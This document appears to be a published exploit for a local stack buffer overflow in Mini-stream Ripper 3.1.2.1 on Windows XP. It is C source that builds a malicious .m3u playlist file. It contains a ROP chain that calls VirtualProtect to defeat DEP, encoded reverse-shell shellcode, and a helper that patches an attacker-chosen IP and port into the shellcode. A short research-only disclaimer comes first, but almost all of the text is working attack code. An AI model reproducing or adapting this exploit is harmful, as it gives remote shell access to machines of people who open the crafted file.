Mini-stream Ripper 3.1.2.1 – Local Buffer Overflow (DEP Bypass)
/* DISCLAIMER THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!! The programs are provided as is without any guarantees or warranty. The author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs. The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs. Author: fl0 fl0w Software: Mini-stream Ripper Dl link: http://www.mini-stream.net/downloads/Mini-streamRipper.exe Test platform: Microsoft Windows xp sp3 with full updates Afected Versions: 3.1.2.1.2010.03.30 Remote: No Local: Yes Class: Boundary Condition Error Bug: Stack buffer overflow Exploitable: Yes Method of exploitation:Ret to libc Afected software: Windows 98/Me/2000/XP Fix: No fix Compiler: gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125) Video: http://www.youtube.com/watch?v=Prf-YCVrSfc The .C code: */ #include<stdio.h> #define HEAD "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A" #define URL "\x68\x74\x74\x70\x3A\x2F\x2F" #define CHARS "0123456789ABCDEFGHIJKLMNOPQRST" \ "UVWXYZabcdefghijklmnopqrstuvwxyz" #define VIDEO "\t-www.youtube.com/watch?v=Prf-YCVrSfc" #define VER "3.1.2.1.2010.03.30" #define TITLE " Mini-stream Ripper "VER" local buffer overflow(DEP bypass)\n" \ "\t-by fl0 fl0w\n "VIDEO" " unsigned char reverse_sc[] = { "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9" "\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3" "\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE" "\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99" "\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF" "\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6" "\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF" "\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD" "\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD" "\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD" "\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66" "\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66" "\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB" "\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3" "\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3" "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D" "\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75" "\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2" "\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0" } ; /* rop assembly _start: grab_stack_pointer: retn save_stack_pointer: push esp mov eax,edx pop edi retn pop eax retn add esp,2c retn push_VirtualProtect: mov edi,edi push ebp mov ebp,esp push dword ptr ss:[ebp+14] push dword ptr ss:[ebp+10] push dword ptr ss:[ebp+c] push dword ptr ss:[ebp+8] push -1 call kernel32.VirtualProtectEx pop ebp retn 10 lpAddress: xchg esi,edi dec ecx retn 4 add eax,100 pop ebp retn mov dword ptr ds:[esi+10],eax mov eax,esi pop esi retn dwSize: push eax pop esi retn add eax,100 pop ebp retn inc esi retn inc esi retn inc esi retn inc esi retn mov dword ptr ds:[esi+10],eax mov eax,esi pop esi retn flNewProtect: push eax pop esi retn xor eax,eax retn add eax,100 pop ebp retn add eax,100 pop ebp retn add eax,100 pop ebp retn inc esi retn inc esi retn inc esi retn inc esi retn mov dword ptr ds:[esi+10],eax mov eax,esi pop esi retn lpflOldProtect: push eax pop esi retn xor eax,eax retn add eax,40 retn inc esi retn inc esi retn inc esi retn inc esi retn mov dword ptr ds:[esi+10],eax mov eax,esi pop esi retn sub eax,4 retn sub eax,4 retn push eax pop esp mov eax,edi pop edi pop esi retn */ int eip_offset=17417; int nop_offset=17453; int shell_offset=17473; char RET[]="\x5e\x16\x80\x7c"; char instr1[]="\x77\x92\xd7\x5a"; char instr2[]="\x42\xe8\xc1\x77"; char instr3[]="\x01\xd8\xc4\x77"; char instr4[]="\x2b\xec\xc4\x77"; char instr5[]="\x2f\x98\x3c\x76"; char instr6[]="\x15\x41\xe8\x77"; char instr7[]="\x4a\x14\x5d\x77"; char instr8[]="\x1d\x7d\x15\x77"; char instr9[]="\x9e\x66\xd7\x5a"; char instr10[]="\xbf\x8b\xca\x76"; char instr11[]="\x1d\x14\x5d\x77"; char instr12[]="\xa8\x5c\xdf\x73"; char virtualprotect[]="\xD4\x1A\x80\x7C";//kernel32.dll char retaddr[]="\x41\x41\x44\x44"; char lpaddr[]="\x45\x45\x45\x45"; char sz[]="\x46\x46\x46\x46"; char flnprot[]="\x47\x47\x47\x47"; int make_reverseshell(char *, char *); void error_handle(void); void copy_str(char*,char*,int); void gen_random (char*, const int); void file(); int main() { printf("%s",TITLE); file(); return 0; } void file() { FILE* f=fopen("exploit.m3u","wb"); unsigned char buf[100001]; if(!f) error_handle(); make_reverseshell("127.0.0.1","2010");//change here with what you want... gen_random(buf,26117); memcpy(buf+eip_offset,RET,4); memcpy(buf+eip_offset+4,"aaaa",4); memcpy(buf+eip_offset+8,instr1,4); memcpy(buf+eip_offset+12,instr2,4); memcpy(buf+eip_offset+16,"bbbb",4); memcpy(buf+eip_offset+20,instr3,4); memcpy(buf+eip_offset+24,virtualprotect,4); memcpy(buf+eip_offset+28,retaddr,4); memcpy(buf+eip_offset+32,lpaddr,4); memcpy(buf+eip_offset+36,sz,4); memcpy(buf+eip_offset+40,flnprot,4); memset(buf+eip_offset+44,0x90,300); memcpy(buf+eip_offset+68,instr5,4); memcpy(buf+eip_offset+72,instr4,4); memcpy(buf+eip_offset+84,instr6,4); memcpy(buf+eip_offset+92,instr7,4); memcpy(buf+eip_offset+96,instr4,4); memcpy(buf+eip_offset+104,instr8,4); memcpy(buf+eip_offset+108,instr8,4); memcpy(buf+eip_offset+112,instr8,4); memcpy(buf+eip_offset+116,instr8,4); memcpy(buf+eip_offset+120,instr6,4); memcpy(buf+eip_offset+128,instr7,4); memcpy(buf+eip_offset+132,instr9,4); memcpy(buf+eip_offset+136,instr4,4); memcpy(buf+eip_offset+144,instr4,4); memcpy(buf+eip_offset+152,instr4,4); memcpy(buf+eip_offset+160,instr8,4); memcpy(buf+eip_offset+164,instr8,4); memcpy(buf+eip_offset+168,instr8,4); memcpy(buf+eip_offset+172,instr8,4); memcpy(buf+eip_offset+176,instr6,4); memcpy(buf+eip_offset+184,instr7,4); memcpy(buf+eip_offset+188,instr9,4); memcpy(buf+eip_offset+192,instr10,4); memcpy(buf+eip_offset+196,instr8,4); memcpy(buf+eip_offset+200,instr8,4); memcpy(buf+eip_offset+204,instr8,4); memcpy(buf+eip_offset+208,instr8,4); memcpy(buf+eip_offset+212,instr6,4); memcpy(buf+eip_offset+220,instr11,4); memcpy(buf+eip_offset+224,instr11,4); memcpy(buf+eip_offset+228,instr12,4); memcpy(buf+eip_offset+344,reverse_sc,strlen(reverse_sc));//change here shellcode fwrite(HEAD,sizeof(char),strlen(HEAD),f); fwrite(URL,sizeof(char),strlen(URL),f); fwrite(buf,sizeof(char),strlen(buf),f); fclose(f); } void gen_random (char* s, const int len) { int i; for(i=0;i<len;++i){ s[i]=CHARS[rand()%(sizeof(CHARS)-1)]; } s[len]=0; } void error_handle(void) { perror("\nError"); exit(1); } int make_reverseshell(char *ip, char *port) { unsigned int xorip; unsigned short xorport; xorip = inet_addr(ip)^(unsigned int)0x99999999; xorport = htons(atoi( port )^(unsigned short)0x9999); memcpy ( &reverse_sc[111], &xorip, 4); memcpy ( &reverse_sc[118], &xorport, 2); } |